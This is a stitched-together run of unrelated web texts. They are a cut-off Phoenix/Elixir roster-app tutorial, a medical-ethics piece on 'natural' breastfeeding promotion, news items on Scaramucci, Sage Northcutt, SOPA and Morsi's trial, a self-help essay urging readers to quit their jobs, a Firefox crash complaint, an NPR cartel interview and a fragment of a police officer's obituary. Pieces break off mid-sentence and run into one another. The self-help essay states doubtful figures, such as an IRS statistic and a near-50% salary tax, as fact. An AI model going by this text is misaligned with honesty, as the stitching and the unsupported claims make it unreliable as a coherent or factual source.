Concept Description Data User A person, an actor upon the system Email, Display Name, Password Shift A period of time assigned to a person User, Start Time, End Time Roster Some collection of shifts Name, Shifts Organisation Some collection of people Users (Admins and Members), Rosters
After laying all this out and thinking it through a little I think we might have enough to start working on v0.0.1 of our application!
Onwards, To Glory!
We will start by creating a new Phoenix application, by typing mix phx.new roster_app on the command line. This is a mix task installed with Phoenix that initialises a brand new project for us. It sets up a skeleton for the rest of our application to be built around. Phoenix will create a directory with your application name (in our case it’s roster_app ) in your current location, and fill it with a large number of files. The mix task we called will namespace the generated code with the name of our app, RosterApp, which is the pascal case equivalent of the name we provided earlier.
Tell Phoenix to download it’s dependencies, and depending on the speed of your internet connection, maybe consider grabbing a coffee.
Once that’s done, it may be wise to make this new directory a git repo, if you get in to a bit of trouble while following along, it helps tremendously to be able to revert to a known good configuration.
cd roster_app git init git add. git commit -m "Initial Commit"
By default Phoenix will want to store our data in Postgres. I’m pretty happy with Postgres as a choice of datastore for our application, but it’s much easier to manage while developing when you run it in a container. I’m going to be using Docker here, so grab it if you haven’t already got it. Run the below command in your terminal to spin up a container with Postgres 9.6.2 running.
docker run --rm --name roster-app-dev-db -p 5432:5432 -d postgres:9.6.2
I’ve used the --rm option above to make the dev loop a little easier. When mucking around sometimes you’ll make mistakes that will result in a database migration script that you don’t want to keep around being created. If it’s been run against the database I’ve found it’s easier to just nuke the container and start again, and this option save you having to remove the container manually as once it’s stopped it is immediately deleted.
If you’ve previously installed Postgres before, it may be occupying port 5432 already. If that’s the case, you can change the above command to docker run --rm --name roster-app-dev-db -p 6543:5432 -d postgres:9.6.2, and update your config/dev.exs file so that the database configuration includes the new port, like so;
config :roster_app, RosterApp. Repo, adapter: Ecto. Adapters. Postgres, username: " postgres", password: " postgres", database: " roster_app_dev", hostname: " localhost", port: 6543, pool_size: 10
Okay, so we’ve generated an application, and we now also have our data store spun up, time to get this puppy purring. The following command will compile our application, and attempt to connect to Postgres and set up the database.
$ mix ecto.create Compiling 12 files (.ex ) Generated roster_app app The database for RosterApp.Repo has been created
Generating Our Domain
The generators for Phoenix are a great way to quickly scaffold out some of the more repetitive parts of the development process, and if you’re building a basic crud app, a real boon to productivity.
There are quite a handful of generators available depending on the type of resource you’re looking to expose, including JSON, HTML, Channels, and even a new one in Phoenix v1.3.0, Context. We’ll be using the HTML generator, as this will allow us to interact with our application without having to worry too much about the UI for now.
The HTML generators in Phoenix v1.3.0 are invoked using commands that look like this;
mix phx.gen.html ContextName SingularResourceName PluralResourceName attributeA:type attributeB:type
phx.gen.html is a mix task that is installed with Phoenix, and it scaffolds out a lot of stuff for us. It creates a module with our schema definition in it, a database migration, a controller, some tests, and some view templates.
For generators ( phx.gen.* ) in Phoenix v1.3.0 and above you’ll need to provide at a very minimum a context name, a singular resource name and a plural resource name. A context can be thought of as the domain boundary for whatever it is you’re generating. The singular resource name is the actual “thing” that you are looking to represent in your application, and consequently it is also the name of the module that is generated. The plural resource name is used in a lot of function names and schema definitions where it makes more sense to refer to things in their plural form.
Following the plural resource name you provide the attributes of the resource, with some information about the type of attribute you’re adding. If you find yourself struggling to think of the value needed to represent an attribute all of the available types can be looked up in the docs for Ecto.Schema. You also have the option of adding :unique to the end of your attribute definition as shortcut for creating a unique index for it.
Bounded contexts make the boundaries of your APIs clear Chris McCord
So with that all of that in mind, let’s start with our User resource. We said before that User was part of the Accounts area of concern, so we’ll use that as our context here. We’ll also define the attributes from the table above, for the email, display name and password of our user.
# Create User, pretty much cribbed from every example on Phoenix in the wild mix phx.gen.html Accounts User users email:string:unique display_name:string password:string
One of the many files the above command will have created for us is lib/roster_app/accounts/user.ex. This is our definition of what a User is, and it’s namespaced under the Accounts context in our application. If you look at lib/roster_app/accounts/accounts.ex, you’ll see where the API for dealing with the Accounts context lives. This is how other parts of our application will interact with User s.
#lib/roster_app/accounts/user.ex defmodule RosterApp. Accounts. User do use Ecto. Schema import Ecto. Changeset alias RosterApp. Accounts. User schema " users" do field :display_name, :string field :email, :string field :password, :string timestamps () end @doc false def changeset (% User {} = user, attrs ) do user |> cast ( attrs, [ :email, :display_name, :password ]) |> validate_required ([ :email, :display_name, :password ]) |> unique_constraint ( :email ) end end
Pretty much everything interesting in lib/roster_app/accounts/user.ex is coming from Ecto. Ecto is responsible for translating our code in to database calls, and managing changes against the structs that represent concepts in our domain.
We can see that the above code is defining a schema, which defines what it means to be a User in our application. We can see how this maps to the command we ran earlier. We have also had a changeset/2 function generated for us, which takes a map of data ( attrs ), diffs the map and the User struct (that’s cast/3 ), runs some validations against it for required fields, verifies we haven’t broken our unique constraint, and then returns an Ecto.Changeset.
A Changeset is just a neat way to manage common operations made against structs, and in this instance we’re using it to validate external input. A Changeset will also keep track of any validation errors that occur within the above pipeline, which we can use to provide feedback to the user.
Another interesting file is priv/repo/migrations/<datetime>_create_users.ex. This file is a database migration for our application. Here we can see it creating a table based |
move living things away from their fundamental nature and that nature offers the best way of doing things.2 This latter view is clearly and commonly invoked in breastfeeding promotion. For example, the US Department of Health and Human Services’ “It’s only natural” breastfeeding promotion campaign is an explicit attempt to persuade women to breastfeed by framing breastfeeding as better than formula because it is natural. Furthermore, the American Academy of Pediatrics has referred to breast milk as “the best and most natural food for infants.”8 A breastfeeding promotion poster produced by the New York City Department of Health and Mental Hygiene describes breastfeeding as “Mom-made” as compared with formula feeding, labeled with a red circle that reads “Factory-made.” The intended message to parents presumably is that, in this one particular case, factory-made, unnatural substances are unhealthy and should be avoided, whereas the “Mom-made” and natural option is safer and better. Breastfeeding has also been referred to as “natural” by the World Health Organization, the California Department of Public Health, and the Vermont Department of Health, to give just a few examples, and numerous other instances of this approach have been documented in a report put out by the Berkeley Media Studies Group in 2010.9
It makes sense that breastfeeding promotion would make appeals to the “natural.” The resurgence in breastfeeding rates over roughly the past 4 decades is rooted in a history of women’s organized efforts during the 1950s and 1960s to redeem the value of feeding babies “naturally” in the face of widespread medical support for formula feeding.10 Coupling nature with motherhood, however, can inadvertently support biologically deterministic arguments about the roles of men and women in the family (for example, that women should be the primary caretakers of children). Referencing the “natural” in breastfeeding promotion, then, may inadvertently endorse a controversial set of values about family life and gender roles, which would be ethically inappropriate. Invoking the “natural” is also imprecise because it lacks a clear definition. For similar reasons, the recent Nuffield report states that public agencies, governments and organizations contributing to public and political debates about science, technology, and medicine “should avoid using the terms natural, unnatural and nature” unless they make transparent the “values or beliefs that underlie them.”2
Whatever the ethics of appealing to the natural in breastfeeding promotion, it raises practical concerns. The “natural” option does not align consistently with public health goals. If doing what is “natural” is “best” in the case of breastfeeding, how can we expect mothers to ignore that powerful and deeply persuasive worldview when making choices about vaccination? If breastfeeding promotion frames the “factory-made” option as risky or unhealthy, what should parents conclude when choosing between factory-made vaccines and boosting immunity “naturally”? We should think twice before referencing the “natural” in breastfeeding promotion, even if it motivates women to breastfeed.
Footnotes Accepted January 6, 2016.
January 6, 2016. Address correspondence to Anne Barnhill, PhD, Department of Medical Ethics and Health Policy, Blockley Hall 14th Floor, 423 Guardian Dr, Philadelphia, PA 19104-4865. E-mail: anne.barnhill{at}gmail.com
FINANCIAL DISCLOSURE: The authors have indicated they have no financial relationships relevant to this article to disclose.
FUNDING: No external funding.
POTENTIAL CONFLICT OF INTEREST: The authors have indicated they have no potential conflicts of interest to disclose.Anthony Scaramucci was removed from his position as White House Communications Director by President Trump at the behest of Chief of Staff Kelly. Many are speculating if this will be the end of the road for Scaramucci when it comes to working for the Trump Administration. Wall Street Journal reports that chances are Scaramucci will return to his previous role at the U.S. Export-Import Bank.
Wall Street Journal reports:
Anthony Scaramucci has been removed from his position as White House communications director, just 10 days after it was announced he would take it, an administration official said.
The change comes just hours after former Marine Corps Gen. John Kelly was sworn in as White House chief of staff. It also comes four days after the New Yorker magazine published an expletive-filled interview with Mr. Scaramucci, in which the Wall Street financier attacked other top staffers in the White House, including Mr. Kelly’s predecessor Reince Priebus.
Mr. Scaramucci, who is nicknamed “The Mooch,” was removed at the urging of Mr. Kelly, who is seeking to impose more discipline in the White House, two administration officials said.
Mr. Scaramucci is expected to retain his position at the U.S. Export-Import Bank, a White House official said. He asked to keep that position when he gave his resignation after Mr. Kelly’s push.
In a statement, White House press secretary Sarah Huckabee Sanders confirmed that Mr. Scaramucci would be leaving his role as communications director. “Mr. Scaramucci felt it was best to give Chief of Staff John Kelly a clean slate and the ability to build his own team,” she said.Sage Northcutt was planning on return to action in May, however, his tonsils had other plans.
According to Northcutt’s father, Mark, “Super Sage” got strep throat while training with Tyron Woodley prior to UFC 209. After getting sick again following a second and third round of antibiotics, a specialist informed Northcutt that he would have to get his tonsils removed. According to Mark Northcutt, his son has had strep throat flareups since his third UFC fight against Bryan Barberena.
“His tonsils were damaged from the first (strep throat illness) and had little pits or holes in them that kept harboring bacteria,” Mark Northcutt told MMA Fighting.
Northcutt’s surgery is scheduled for next week. Afterwards, he will only be able to consume food via a straw for two weeks, then another two weeks on soft foods, and then after four weeks, he’ll be able to start training again.
Northcutt, a native of Katy, Texas, was hoping to fight at UFC 211 in nearby Dallas, and the UFC was on board with that idea, as well.
“He was really bummed out and wanted to try and fight anyways,” Mark Northcutt said, “but we had to tell him it wasn’t a good idea.”
Northcutt’s public battles with strep throat famously began two days before his submission loss to Barberena in Jan. 2016 when he was forced to go to an emergency clinic in New Jersey.
"I've never felt like that ever before," Northcutt said following the loss on The MMA Hour. "Not just the breathing. It felt like I couldn't concentrate. I wasn't my normal self. I was having a real hard time hearing. Like, you can imagine if you fly on an airplane and your ears get stuffed up where they have to pop? It felt like that but times two or three, where I couldn't even hear my coaches, what they were saying. Even face-to-face, I couldn't hear anything.”
UFC president Dana White took the blame afterwards for letting Northcutt fight while sick.
"The kid really wanted to fight and I let him fight," White said. "He was sick as hell. I blew it."
Northcutt has lost two of his last three fights after starting his MMA career a perfect 7-0 (including 2-0 in the UFC). He most recently was submitted by Mickey Gall in December.
His father said he’s currently planning on returning to action in July.Dear Congress, It's No Longer OK To Not Know How The Internet Works
from the seconded dept
I remember fondly the days when we were all tickled pink by our elected officials� struggle to understand how the internet works. Whether it was George W. Bush referring to �the internets� or Senator Ted Stevens describing said internets as �a series of tubes,� we would sit back and chortle at our well-meaning but horribly uninformed representatives, confident that the right people would eventually steer them back on course. Well I have news for members of Congress: Those days are over.
We get it. You think you can be cute and old-fashioned by openly admitting that you don�t know what a DNS server is. You relish in the opportunity to put on a half-cocked smile and ask to skip over the techno-jargon, conveniently masking your ignorance by making yourselves seem better aligned with the average American joe or jane � the �non-nerds� among us.
But to anyone of moderate intelligence that tuned in to yesterday�s Congressional mark-up of SOPA, the legislation that seeks to fundamentally change how the internet works, you kind of just looked like a bunch of jack-asses.
This used to be funny, but now it�s really just terrifying. We�re dealing with legislation that will completely change the face of the internet and free speech for years to come. Yet here we are, still at the mercy of underachieving Congressional know-nothings that have more in common with the slacker students sitting in the back of math class than elected representatives. The fact that some of the people charged with representing us must be dragged kicking and screaming out of their complacency on such matters is no longer endearing � it�s just pathetic and sad.
We usually strive to come up with our own headlines for posts on Techdirt, but Joshua Kopstein's post on Motherboard.tv has such a perfect title that we're reusing it here: Dear Congress, It's No Longer OK To Not Know How The Internet Works. The point, which was driving so many of us mad watching the SOPA hearings, is how head-bangingly frustrating it is to see elected officials gleefully admit they don't understand the technology they're about to regulate:But this isn't about looking cute and folksy. The internet matters. A lot.Kopstein goes into a lot more (worthwhile, go read it) detail about the bill, about the gleeful ignorance of some Judiciary Committee members, and then concludes:This is a key point. Unfortunately, I've see way too many people supporting SOPA (especially among the lobbyist crew) act as if this is just some sort of, where the goal is to "win." That's how DC politics works, but it doesn't take into account the very real impact of the damage that they're doing. If you're regulating the internet, it should at least be a pre-requisite that you are willing to understand the technology, or that you abstain from taking part in voting on (or writing) bills if you don't understand it. It's not funny. It's not cute. It's terrifying and it impacts us all.So the real question is what is the way forward on this kind of thing? One would be to elect more technically savvy folks to Congress, but that's always difficult (and lots of tech savvy folks would rather be working in tech). Another would be tothose who are in Congress. Some of us are already working on that front with things like Engine Advocacy, but having more help and more voices would be a good thing.Other than that, I think we should just make it clear to elected officials that peoplethem gleefully displaying ignorance on issues that they're about to vote on. When Rep. Mel Watt declares proudly that he doesn't understand the technology, and then says he just doesn't believe the huge group of internet engineers who warn about the negative impacts of SOPA, he shouldn't get a free pass on that. The public needs to let him know that that's unacceptable from an elected official.Things like this won't change overnight, but by making it clear that such things won't be tolerated by the voting public, we can at least start to influence the debate in a meaningful way. So speak up. When you see an elected official being purposely ignorant or cracking jokes about their ignorance tell them that they need to be educated and help them get that education.
Filed Under: congress, copyright, ignorance, internet, politics, sopa, technology“How come there is a clash between two sides and only one is brought to court?” one defense lawyer asked me during one of many sideline discussions between lawyers and reporters at the recess.
Another observed that the interim military government was worried that if members the Brotherhood were allowed a part in the trial — as victims, not defendants — “their families would gain access to the court and accuse the incumbent regime.” Other lawyers pointed out that Mr. Morsi had been held incommunicado with no access to counsel until the first court break on Monday.
Standing three feet from the metal fence that separated the judges’ bench from the rest of the courtroom, Ragia Omran, a lawyer for some of the victims, tried to defend the proceedings. The trial wasn’t political, she argued. Yes, the charges were brought many months after the fact, and only after Mr. Morsi was deposed. But, Ms. Omran said, she and other lawyers from the Front to Defend Egypt Protesters had been working on the case since December. “It’s important to note that,” she told journalists, raising an index finger for emphasis.
It’s also important to note that she and other lawyers representing the civilians killed, tortured or injured during Mr. Morsi’s rule are settling for what they can get: an accounting from at least a few of the men they believe to be guilty for the anti-protester violence. Never mind that these men, now fallen from power, are being scapegoated by the current authorities. And never mind that these authorities have carefully fashioned this case so as to remain immune from prosecution themselves: The bloodshed of Dec. 5-6 doesn’t implicate any state institutions or security services.
Yet there are victims on all sides. Hundreds of Brotherhood members have been slain by the military since Mr. Morsi was ousted. And no government prosecutor is speaking for them.
The next hearing in Mr. Morsi’s trial is scheduled for Jan. 8. Whether he recognizes the court’s authority by then is anyone’s guess. It’s already clear, however, that whatever justice this court renders will be partial at best.I was scared after I was thrown out of school.
I didn’t want to spend my life in prison. I didn’t want to have a 9-5 job. I understand not every 9-5 job is bad.
But I didn’t even want a job I loved. I was afraid of not being able to do what I wanted during the day.
When I was in school I would go to the museum during the day. I would spend time with friends during the day. I would try to write novels during the day. I would play games many days, sometimes all day.
Once I had a job, I was trapped. I had to work until dark. I had no car, so I had to hitchhike home. I had to kiss *ss on the boss so he would either not fire me, or he would promote me, or he would give me tasks that weren’t boring.
I didn’t like having a person order me around. I didn’t like being scared of him.
I locked my office door so I could still write fiction all day. But I was repeatedly caught and given warnings.
I hated some blob “warning” me for living a life I wanted to live, even if I got all my meaningless tasks done.
Some of the tasks were like: “Write the manual for the chip we are making”. I’d write the manual and like any other manual in the world written by a 22 year old, it sucked.
Another task was, “watch my car while I go into the airport.” And then I got in huge trouble when a policeman gave the car a ticket.
I was always getting into trouble. And I was always scared. Scared for my meaningless existence.
Not only had I led a life worth unexamining, it seemed my future was even worth less examination.
The boss would call me in his office. He was 25 years old. Not much older than me but he was a blob about to become a billionaire and I was just a piece of blob worth nothing.
He said, “Don’t you have any pride in your work?”
And I turned red and he just watched me. And he said, “Answer the question.”
But I had no answer. I had no pride in my work. So I was fired. And I had to hitchhike home the day I was fired.
I got depressed. I felt useless. I was going to disappear without making any dent. I was scared.
Now we live in a new world. A world where you don’t have to get a job. Where there are opportunities with their hands out, waiting to be touched and loved, if you just reach out as far as you can and touch them back.
Here are ten reasons you shouldn’t have a job. Included in these ten reasons are reasons to be hopeful.
1) One Job = Only One Source of Income
According to the IRS, the average multi-millionaire has seven different sources of income.
A job is just one source of income. Not only that, your one job is taxed almost 50% so most of it goes to fight wars and pay for things you would never pay for.
Plus your boss takes out money for not only insurance and 401ks (“savings” because you can’t be trusted with your own money) but they take out money (trust me, since I’ve been a boss also) for your desk, your computer, and basically your right to work for them (since they need to extract more value out of you than you deliver so that they make more money than you).
They chain you so you are just paid enough to live but not to thrive.
2) Imagine Your Job Is Your Business
A business often has multiple lines of income. You spend a few hours each week on each product line.
But a job takes up 60 hours at least. 40+ hours of work. Plus another 10 hours of transportation. Plus mind-numbing tasks you can do to inoculate yourself against the pain of having to go back to work the next day.
You are constantly reminded that you have go back to work. So for 2-3 hours a night you have to do everything you can to forget that painful fact.
If you view your job the way a businessperson views a line of revenue, you would say, “this is the worst business possible. I need to switch businesses.”
3) Your Job is the Walking Dead
I was talking to Robin Chase, the founder of Zipcar. “Eventually – 10 years maybe – driverless cars will be the only cars on the road. The auto industry and all of its ancillary industries will have 90% fewer employees and those people will have nowhere to go.”
Another friend of mine (Steven Kotler, author of “Tomorrowland” and “Bold”) was telling me that even therapists are no longer needed.
“Returning soldiers talk to AI-based therapists to determine if they have PTSD or Depression or not.” He said, “Lawyers, therapists, and even all of middle management will soon be replaced by AI and robotics”
So who is left? Blue collar will be gone and most of white collar will be gone.
The 0.1% will be left. The ones who will allocate capital away from hiring workers towards hiring robots to shelve Walmart shelves, do your therapy, take care of your legal and accounting needs, and drive the 0.1% to their malls and stores.
“What will happen to the other 90%?” I asked Robin. But she had no real answer. “They will need help!”
Who will help them? Who?
There is no answer. Nobody cares. If you don’t quit your job, your job is going to quit you.
4) You Have No Friends
I’ve had lots of jobs. I admit I am a bit pathetic. But I have no friends from previous jobs.
Most of those friends were nice to me because I sat in the cubicle next to them while I listened to them beg pathetically to their girlfriends or boyfriends all morning after an argument and then someone would hang up on someone.
Then they would show up at my cubicle and try to take out their frustrations on other employees. Everyone gossiped. Everyone was sad.
The employee manual was always there to dictate what we should wear, what we should say to members of the opposite sex, who we needed to report intimacy to if such a thing were to occur in such a sterile environment.
And worst case, a boss would walk by and everyone would stop by with our white collar stars pinned to our white button down shirts.
Then I’d get a new job and have new friends.
I hope now the friends I meet are real friends. Because they come out of common ground and interests and, I hope, love.
5) Income is Disappearing
In the past 25 years, real income has gone from $36,000 to $33,000 for people ages 18 to 35.
Why? Who knows. Because nobody cares.
Then the talking blobs on TV tell you you have to start saving during those years.
Meanwhile, the cost of living has gone up.
How do you save, when it costs more to LIVE, while the money coming in the bank is going down.
Society is being strangled. I don’t blame anyone. It’s not the government’s fault. It’s not Wall Street’s fault. Or Main Street’s fault.
Jobs were a myth from the beginning.
The Industrial Revolution standardized society so that factory workers would show up at the same time, have the same education, hit the same bolt on the same nut at the same time, and get paid every two weeks.
The the Internet economy came which globalized the idea of a job. Now we live in the Idea economy where the wealth is moved from the people who do the work to the people who have the ideas.
It’s not evil. It’s just the course of human history and how change is always inevitable.
6) Deflation
The economy is about to undergo massive change.
For 100 years we’ve been worried about inflation – the idea that prices always rise.
But “always” is always wrong. (!)
With changes in biotech – healthcare costs will eventually go down as focus goes from “cure” to “prevention.”
With driverless cars as well as batteries – car costs and energy costs will go down
With AI and robotics – many jobs will be done more efficiently…and not by humans
Computers – prices are going down
3D printing and drones – costs of shipping will disappear
Virtual reality – costs of everything from games to transportation will disappear or go to zero
Technology has now reached THE DREAM – the idea that the benefits of technology will drive down the costs needed to pay for it.
Which is good (we will pay less for the things we love).
And is bad (no need for you anymore. No need to pay you anymore.)
This is not 50 years in the future. This is already happening now. And will only get worse/better no matter what government “solutions” are going to bail people out.
7) There Are Alternatives
This is the magic of every business being developed now:
A) A group of people have excess capacity (for example, extra rooms in a house that are never used. Or extra seats in a car).
B) There is a group of people who will buy that excess capacity
C) There is a “platform” created to mediate between “A” and “B” and handle all monetary transactions, problems, logistics, etc. (e.g. Airbnb, Uber, and 100s more).
This “Excess Capacity” economy is only getting bigger. There are many ways to be in group “A”. There are many platforms now – not just Airbnb and Uber. But Alibaba, Ebay, Etsy, Infusionsoft, and maybe 100 others.
Start researching the excess capacity in your life and how to monetize it.
It might even be mental excess capacity. Don’t underestimate what you have in your mind or in your garage.
We live in an “idea economy”. So perhaps first you have to exercise the idea muscle.
Don’t buy a course, or a workshop or any BS that the reverends of self-help will try and sell you. They give the briefest of injections of false hope to fight off the never-ending despair of change.
Just write down 10 ideas a day to exercise this idea muscle. You will build it. It will be magic. Trust me.
8) Here Are Some Ideas to Start You Off
I was scared because so many people were writing me they didn’t know what to do as they were losing their jobs.
So I cold-wrote the CEO of the largest freelance job company in the world. Freelance.com’s CEO, Matt Barrie.
I asked, “How can people earn $2000 in a weekend with only a few months worth of training.”
He wrote back immediately (note: I have no affiliation with him and there are many sites like his so I am not even pushing his site here.)
He wrote back (thank you Matt!):
“Every single project is tailor-made based on the needs and requirements of each employer. Nevertheless, please find a list of projects where freelancers can easily make $2,000 or more in just a couple of days:
1- Video Animation – video projects for KickStarter/Indiegogo or an animation explainer videos for a new product/service launch are an easy and quick job to do online
2- Programming – e.g. for Ecommerce stores (Shopify, Magento), we have seen a huge increase in ecommerce, as well as social media commerce
3- Website testing or Web Scraping – last minute changes on the site before the big launch, companies want to make sure the site would work as intended so they simply hire someone to test it throughout
4- Website Development and Design (as you said, WordPress fits in this category) – it can be templated but it’s quick and efficient and it looks good
5- Children’s Book Illustration – incredibly popular job on the site that pays quite well. Self-publishing is a big thing these days and illustrators on the site can provide for a huge range of different design styles that fit any requirements
6- Writing – we have seen numerous requests from people needing help with their business plans or book editing hiring experts in the field on Freelancer.com. It’s especially popular among not native speakers when they need something done in English or another language and they want to do it right
7- 3D Rendering and Architecture Design – huge skill on the site, studios are willing to pay a lot of money to get last minute support and help with their projects or contests
8 – Software Architecture
9 – App development – full time staff or freelance temp workers may not always be available to help out, especially during the weekends, while our developers on the site can easily fix any issue or help to finalise the project when deadlines are tough
10 – Photoshop or any other design work – companies would pay substantial money to have their PowerPoint, Infographics, Brochures or Keynote presentations designed by a professional designer on the site.”
I’m not saying you should do these things. But opportunities and education are there right now.
9) Where is the Education
lynda.com, Khan Academy, Coursera, Udemy, Codeacademy, Udacity, Skillshare, are a few. If there are more, please tell me.
None of these will make you do better at your job. They will all give you ideas for alternative sources of income that can eventually replace your job.
Again, I have zero affiliation with them. I’ve taken courses at most of them.
My 13 year old daughter takes classes via Codeacademy.
10) A Stable Salary is Fake
The worst thing you can have is a stable salary.
A stable salary gives you no feedback on how you are doing. You always make the same every two weeks.
Instead, income should be feedback. If it is going up, you can scale the parts of your income that are working.
If it is going down, you can change the things that are not working well.
This is how people make a lot of money.
A stable salary is an addiction (thank you Nassim Taleb for pointing that out) that fools one into thinking they are doing ok until the day they are fired.
Feedback is knowledge. Knowledge leads to greater happiness.
11) (bonus) Be Happy With Less
About a year ago I threw away almost everything I owned.
If it can’t fit in one bag, I don’t have it. Some people need two bags. That’s fine. No judgment. Take ten bags.
But some people need $X in the bank. Or they always wanted Y to waste away in their closet.
Value stories and experiences over objects. You can get a story today for free. If not your own, then listen to others.
Imagine a story: the story of you between now and the moment you last close your eyes.
The story people will tell at your funeral.
What happens on that story? Are you shuffling paper? Are you serving people who don’t deserve you? Are you friends with temporary people who will gossip behind your back?
Are you taking orders from the masters?
When you were a child, you wanted to draw and to write and to act and to make people laugh.
How long will you postpone that until it is too late.
How long were these hands that were made to create beauty, be stunted in their growth while they create nothing?
Before we were five, we were free from the wounds of our parents, our lovers, our peers.
And then we became infected with their open, emotional wounds that they got from their parents and friends.
Once we got infected, we began to live their lives. Their pains, their wounds and diseases. Their fears.
Now is the chance to cure ourselves. To live the life we want. To ignite once again your creativity. To break free from the life of prison and horror.
Every day, I wake up and hope I can do it.
To make people laugh. To make people delight and love. To create and feel that pleasure of creation.
I don’t want to die today. I want to live the life I always dreamt I would live.
Photo credit: Kevin KrejciNumerous users of the latest version of the Firefox web browser (3.0.4 released yesterday) are reporting memory issues causing the browser to freeze up or crash. Firefox 2 was plagued with memory management issues, but users had thought Mozilla had put these behind them with Firefox 3.
In my own case, Firefox 3.0.4 has become nearly unusable. The first couple of Firefox 3 releases were fine, and after years of complaining about the product, I couldn’t have been happier. Firefox 3.0.3 seemed a little more unstable, and although there were no clear memory leaks, I went from Firefox never crashing, to Firefox crashing maybe a couple of times a week. Now with Firefox 3.0.4, its a multi-day occurrence. The issue in the new release would appear to be memory related, with memory on my machine spiking over 100% for Firefox with only a handful of tabs open.
Now before Firefox fanboys do their usual trick and whine “it’s your plugins that are doing it” (which is the usual response, because it’s NEVER Firefox’s fault), I’ve tested the latest version of Firefox on three different Macs. My Quad Core Mac Pro with 4GB ram has a number of plugins installed, and I get the memory issue. My Macbook Pro with 2GB ram with 1 plugin installed has the memory issue. My wifes 6 month old Macbook with 1gb and ZERO plugins and really nothing else installed except Leopard HAS THE MEMORY ISSUE.
Here’s some comments on my original mention of the problem from both FriendFeed and Twitter
Its been crashing on me, a dozen times today, at least. – Dave Winer crashing here too, and I’ve seen it eat all the memory as well :( – Richard Walker I’ve continually found FF to be the most constantly crashing browser I have, ever since ver 3. Barring using it’s add-ons for web development, have switched almost entirely to Chrome. – Robin Cannon Crashed on both machines here in completing their auto update feature. FAIL – Paul W. Swansen It’s become a crashing bore. Does Chrome work on Macs yet? – Abby Martin Same problem here, and it’s driving me crazy. I want to use it for the addons, but I’ll go back to using Chrome if I need to. i have no complaints with chrome, except it doesn’t support my favorite addons yet. Does anyone know when that we will see a lot of addons for Chrome? – Michael Fidler
I number of users said they weren’t having issues, although the difference seems to be that the issue may be related primarily to the Mac version, although Inquisitr columnist Steve Hodson who doesn’t own a Mac has the same problem as well: details here on Winextra.
I’ve threatened before to dump Firefox over this issue, yet I’m still using it. Safari doesn’t offer the plugins which are the only reason I stick with it. I guess what saddens me more than anything, as a previous donor to Mozilla (so I’m not just a whining user) is that they never seem to learn. If only someone would come out with a Webkit based browser that supported Firefox plugins natively…..Probing Ties Between Mexican Cartel And Chicago's Violence
John Lippert, an investigative reporter for Bloomberg Markets magazine, traced the violence in Chicago back to Mexico. Lippert talks to Steve Inskeep about the impact of the Sinaloa drug cartel's dominance over the drug trade in Chicago and the Midwest.
RENEE MONTAGNE, HOST:
Five hundred and six people were murdered in Chicago last year. It was the kind of news that got John Lippert thinking.
JOHN LIPPERT: I live in Chicago and a lot of what we get is overnight stories saying, you know, three people shot, six people shot, day after day. And I just felt like, okay, well, what does it mean? Where are we going with this?
MONTAGNE: The writer for Bloomberg Markets magazine lead an investigative team that tried to answer those questions. Crime is extremely complicated, of course, and you can rarely blame a single cause when crime rates go up. But Lippert said he encountered one influential factor.
STEVE INSKEEP, HOST:
What follows is a kind of business story of the business man who gained a near monopoly in Chicago. Joaquin El Chapo Guzman heads the Sinaloa drug cartel. Through brutality and business savvy, the group became Mexico's dominant drug network and took over key routes to the United States. John Lippert told us that what surprised him was the way El Chapo gained such dominance over the American Midwest.
So was Joaquin El Chapo Guzman as famous in Chicago as Al Capone was once upon a time?
LIPPERT: No. He's as famous in Mexico as Al Capone was, so he's a household name in Mexico. But in Chicago, I think, the fact that he's a monopoly supplier of most of our drugs is new. It's only six or seven years old. I mean in 2006 he was recorded by the Mexican authorities saying I want to make Chicago my home port, and he's done that.
INSKEEP: Well, let's talk about what his accomplishment is then. How does his business work?
LIPPERT: Well, it used to be the case that he was a brilliant smuggler, but then he would be on the Texas side of the border with his drugs and then he would have to find buyers. And what's happened now is he's saying, no, that's okay, my people will bring the drugs to Chicago, we will break down shipments and not only serve the Chicago market but we will also distribute it to all the towns like Minneapolis and Indianapolis and Toledo.
So all the Midwest towns around here are getting supplied. I mean he's got warehouses. He's got people. And we talk about drug smuggling, but another big chunk of the operation is you got to get the money back to Mexico, so there's a whole separate sort of reverse supply chain to get all the money back to Mexico. So that he doesn't compete at each stage of that supply chain the way he used to.
Now he is the supply chain.
INSKEEP: Well, you are using the same kinds of terms we would use in describing a large corporation. We're talking here about distributors, about wholesalers, about street corner retailers, and he's the guy who is supplying everybody, that everybody must depend on. Is that what you're saying?
LIPPERT: And another interesting element of that is that he chose Chicago for exactly the same reason that, you know, Montgomery Ward flourished in Chicago, or Sears flourished in Chicago, because it's a crossroads of the Midwest. It always has been. It's a transportation hub.
INSKEEP: What practical effect has that had on the streets of Chicago? What does it matter who the supplier of the heroin is if people are taking it?
LIPPERT: He's a monopoly supplier now, so it used to be when the mega-gangs had discipline and when they were sending their people down to the border to buy drugs, they had a choice of suppliers. But Guzman himself is saying, okay, here's what I'm willing to charge for heroin in the city of Chicago. So he's personally dictating and there's less of an economic pie because the monopoly supplier is taking off a bigger share and so there's just more competition.
There's more pressure. If you want to expand your sales, you have to expand your street corners. You know, you have to physically take street corners, which is a violent act. So the fact that there is less discipline among these gangs and less money for them to make fuels the competition between them and fuels the violence.
INSKEEP: Is it correct then to say that over the last many years, as I've heard stories about violence in Juarez, Mexico, or a higher murder rate from time to time in Chicago, I have been actually hearing the story of Joaquin el Chapo Guzman? I've been hearing his story without ever knowing his name until now.
LIPPERT: I think that's right. The way the DEA are talking about it is that this may be unprecedented in the history of crime. And they say, okay, well, we all grew up talking about the mafia and everything like that and they just flat out say, you know, Al Capone or the Mafia that we grew up talking about can't begin to do what these guys are doing. It's different.
INSKEEP: John Lippert is co-author of an article in Bloomberg Markets magazine about Joaquin El Chapo Guzman, described as the near monopoly holder of the drug market in Chicago and many other areas of the Midwest. Thanks very much.
LIPPERT: Thank you.
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planned to work in accounting and never said anything to suggest he'd go into police work.
"He was a good guy, so I'm not at all shocked that he did choose a career in that area, to help people," she said.
"Anything we said, he would turn it into something funny," said Jasmi Brown, a year behind McNeil in the accounting class and now a fifth-grade teacher in Stafford, Texas. "Even if someone was a little down about something, he always found a way to turn it into something positive, something funny, and make everybody laugh."
From 2011 until he joined the police department in 2014, McNeil was a banker with First NBC Bank, The New Orleans Advocate reported.
After graduating high school until 2011, he was a children's literacy coach with the Children's Defense Fund in New Orleans — and the 6- to 8-year-old students loved him, Mary Joseph, the nonprofit's former director, told the newspaper.
"A jewel is gone," she said.
